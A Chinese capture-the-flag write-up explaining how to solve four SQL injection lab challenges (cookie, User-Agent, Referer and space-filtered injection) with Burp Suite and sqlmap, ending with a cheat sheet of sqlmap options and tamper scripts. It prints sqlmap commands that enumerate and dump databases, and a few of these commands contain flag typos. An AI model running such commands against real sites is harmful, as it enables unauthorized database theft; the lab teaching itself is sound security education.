sql注入 (运用sqlmap解题)

注:level参数

使用--batch参数可指定payload测试复杂等级。共有五个级别,从1-5,默认值为1。等级越高,测试的payload越复杂,当使用默认等级注入不出来时,可以尝试使用--level来提高测试等级。

--level 参数决定了 sqlmap 在检测 SQL 注入时的 "努力程度"。

  • level 1默认的 level 等级,会测试 GET 和 POST 请求中的参数。
  • level 2:除了前面提到的,还会检查 cookie 里的数据。
  • level 3:user-agent 和 referer 头部也纳入检测范围。
  • level 4~5:会尝试各种 payloads 和边界条件,确保不放过任何潜在的注入点。

1.cookie注入

1)进入题目环境,然后页面显示是cookie注入,那应该跟cookie头有关了

2)用BP抓包,

3)然后把抓到的信息存成txt文件

4)然后用sqlmap查看是否有sql注入

sqlmap -r "文件地址"

5)从扫描结果可以看出这里它是使用了cookie注入

然后我们查看一下它的数据库

sqlmap -r '文件地址' --dbs

6)查到它有四个库,一次查看后有用数据在sqli里

查看它里面表的数据,sqlmap -r '文件地址' -D sqli --tables --batch

7)然后再查看表里的字段信息

sqlmap -r '文件地址' -D sqli -T ydinnlywvm --dump --batch

然后便能找到flag

2.UA注入

1)进入题目环境,页面显示注入类型为UA注入

2)跟跟上面的cookie注入类似,先用BP抓包,然后将它保存

3)接着用sqlmap测试注入类型及注入点

sqlmap -u "网址" -level 3 --dbs

4)扫出它的数据库,然后依次查看里面的内容,依然是在sqli表里

查看里面的数据

sqlmap -u "网址" level 3 -D sqli --tables --dbs

5)找到表里有两个字段,查看第一个

sqlmap -u "网址" -level 3 -D sqli -T irdofixdml --dump --batch

然后找到flag

3.Refer注入

1)进入题目环境

2)说是refer注入,那肯定跟refer头有关了,sqlmap扫描应该是要用到level 3 将refer头纳入检测范围了

sqlmap -u "网址" -level 3 --dbs

3)扫出数据库,然后查表,查到在sqli里面

sqlmap -u "网址" -D sqli --tables --batch

4)然后扫描字段数据

sqlmap -u "网址" -D sqli -T uggursvczx --dump --batch

4.过滤空格

1)进入环境,说是空格被过滤

2)用sqlmap扫描时需要用到sqlmap的脚本

space2comment.py 用"/**/"替换空格符

注入命令

sqlmap -u '网址'--current-db --tamper=space2comment.py

3)扫出sqli,然后看表里内容,得到flag

sqlmap -u "网址" -D sqli --dump --tamper=space2comment.py --batch --tamper=space2plus.py

5.小结

SQLmap内置了很多绕过脚本,在 /usr/share/sqlmap/tamper/ 目录下:

脚本按照用途命名,比如 space2comment.py 是指,用/**/代替空格。

常见需要注意的一些命令

--batch (默认确认)不再询问是否确认。

--method=GET 指定请求方式(GET/POST)

--random-agent 随机切换UA(User-Agent)

--user-agent ' ' 使用自定义的UA(User-Agent)

--referer ' ' 使用自定义的 referer

--proxy="127.0.0.1:8080" 指定代理

--threads 10 设置线程数,最高10

--level=1 执行测试的等级(1-5,默认为1,常用3)

--risk=1 风险级别(0~3,默认1,常用1),级别提高会增加数据被篡改的风险。

相关推荐
容器( ु⁎ᴗ_ᴗ⁎)ु.。oO16 分钟前
MySQL事务
数据库·mysql
coderWangbuer24 分钟前
基于springboot的高校招生系统(含源码+sql+视频导入教程+文档+PPT)
spring boot·后端·sql
数据龙傲天1 小时前
1688商品API接口:电商数据自动化的新引擎
java·大数据·sql·mysql
cyt涛2 小时前
MyBatis 学习总结
数据库·sql·学习·mysql·mybatis·jdbc·lombok
Rookie也要加油3 小时前
01_SQLite
数据库·sqlite
liuxin334455663 小时前
教育技术革新:SpringBoot在线教育系统开发
数据库·spring boot·后端
与衫3 小时前
掌握嵌套子查询:复杂 SQL 中 * 列的准确表列关系
android·javascript·sql
看山还是山,看水还是。3 小时前
MySQL 管理
数据库·笔记·mysql·adb
fishmemory7sec3 小时前
Koa2项目实战2(路由管理、项目结构优化)
数据库·mongodb·koa
momo小菜pa4 小时前
【MySQL 09】表的内外连接
数据库·mysql